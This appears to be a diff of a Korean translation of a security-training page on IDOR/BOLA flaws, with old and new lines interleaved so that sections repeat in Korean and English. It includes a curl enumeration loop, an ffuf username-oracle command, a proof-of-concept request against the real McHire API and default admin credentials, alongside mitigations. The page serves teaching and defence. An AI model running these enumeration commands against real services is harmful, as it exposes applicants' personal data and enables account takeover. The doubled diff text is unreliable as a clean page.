### 자동화된 열거 (Burp Intruder / curl 루프)
### 자동화된 열거 (Burp Intruder / curl loop)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
@ -36,48 +37,70 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
done
```
---
## 2. 실제 사례 연구 McHire 챗봇 플랫폼 (2025)
### 사용자/파일 열거를 위한 오류 응답 오라클
다운로드 엔드포인트가 username과 filename을 둘 다 받는 경우(예: `/view.php?username=<u>&file=<f>`), 오류 메시지의 미묘한 차이가 종종 오라클을 만들어냅니다:
- 존재하지 않는 username → "User not found"
- 잘못된 filename이지만 확장자가 유효함 → "File does not exist" (때때로 사용 가능한 파일을 나열하기도 함)
- 잘못된 확장자 → 유효성 검사 오류
인증된 세션이 있으면, 무해한 filename을 고정한 상태에서 username 파라미터를 fuzz하고 "User not found" 문자열을 기준으로 필터링하여 유효한 사용자를 발견할 수 있습니다:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
유효한 사용자 이름이 확인되면 특정 파일을 직접 요청하십시오(예: `/view.php?username=amanda&file=privacy.odt`). 이러한 패턴은 다른 사용자의 문서 무단 노출 및 credential leakage로 이어지는 경우가 많습니다.
---
## 2. Real-World Case Study McHire Chatbot Platform (2025)
Paradox.ai 기반의 **McHire** 채용 포털 평가 중 다음과 같은 IDOR이 발견되었습니다:
* 엔드포인트: `PUT /api/lead/cem-xhr`
* 인증: **모든** 레스토랑 테스트 계정의 사용자 세션 쿠키
* 본문 매개변수: `{"lead_id": N}` 8자리, **순차적인** 숫자 식별자
* Authorization: 임의의 레스토랑 테스트 계정의 user session cookie
* 요청 본문 파라미터: `{"lead_id": N}` 8자리, **순차적(sequential)** 숫자 식별자
`lead_id`를 감소시킴으로써 테스터는 임의의 지원자의 **전체 PII** (이름, 이메일, 전화번호, 주소, 근무 선호도)와 세션 하이재킹을 허용하는 소비자 **JWT**를 검색했습니다. 범위 `1 64,185,742`의 열거는 대략 **6400만** 개의 레코드를 노출했습니다.
`lead_id` 값을 감소시키자 테스터는 임의의 지원자의 **full PII** (name, e-mail, phone, address, shift preferences)와 session hijacking을 가능하게 하는 소비자 **JWT**를 획득했습니다. 범위 `1 64,185,742`를 열거한 결과 대략 **64 million** 건의 레코드가 노출되었습니다.
개념 증명 요청:
Proof-of-Concept request:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
결합된 **기본 관리자 자격 증명** (`123456:123456`)이 테스트 계정에 대한 접근을 허용하여, 이 취약점은 심각한 회사 전체 데이터 유출로 이어졌습니다.
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
---
## 3. IDOR / BOLA의 영향
* 수평 상승 **다른 사용자**의 데이터 읽기/업데이트/삭제.
* 수직 상승 낮은 권한의 사용자가 관리자 전용 기능을 얻음.
* 식별자가 순차적일 경우 대량 데이터 유출 (예: 지원자 ID, 청구서).
* 다른 사용자의 토큰을 훔치거나 비밀번호를 재설정하여 계정 탈취.
* 수평 권한 상승 다른 **사용자**의 데이터 읽기/수정/삭제.
* 수직 권한 상승 저권한 사용자가 관리자 전용 기능 획득.
* 식별자가 연속적일 경우 대규모 데이터 유출(예: applicant IDs, invoices).
* 다른 사용자의 토큰을 탈취하거나 비밀번호를 재설정하여 계정 탈취.
---
## 4. 완화 및 모범 사례
1. 모든 요청에 대해 **객체 수준 권한 부여**를 시행 (`user_id == session.user`).
2. 자동 증가 ID 대신 **간접적이고 추측할 수 없는 식별자** (UUIDv4, ULID)를 선호.
3. 권한 부여를 **서버 측에서 수행**, 숨겨진 폼 필드나 UI 컨트롤에 의존하지 않음.
4. 중앙 미들웨어에서 **RBAC / ABAC** 검사 구현.
5. ID 열거를 감지하기 위해 **속도 제한 및 로깅** 추가.
6. 모든 새로운 엔드포인트에 대해 보안 테스트 수행 (단위, 통합 및 DAST).
1. 모든 요청에서 **객체 수준 권한 검증**을 수행 (`user_id == session.user`).
2. 자동 증가 ID 대신 **간접적이고 추측 불가능한 식별자**(UUIDv4, ULID)를 사용.
3. 권한 검증은 항상 **서버 측**에서 수행하고 숨겨진 폼 필드나 UI 제어에 의존하지 말 것.
4. 중앙 미들웨어에서 **RBAC / ABAC** 검사 구현.
5. ID 열거를 탐지하기 위해 **rate-limiting & logging** 추가.
6. 모든 새 엔드포인트에 대해 보안 테스트 수행(단위, 통합, DAST).
---
## 5. 도구
* **BurpSuite 확장**: Authorize, Auto Repeater, Turbo Intruder.
## 5. Tooling
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github 프로젝트**: `bwapp-idor-scanner`, `Blindy` (대량 IDOR 탐색).
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
## 참고 문헌
## References
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}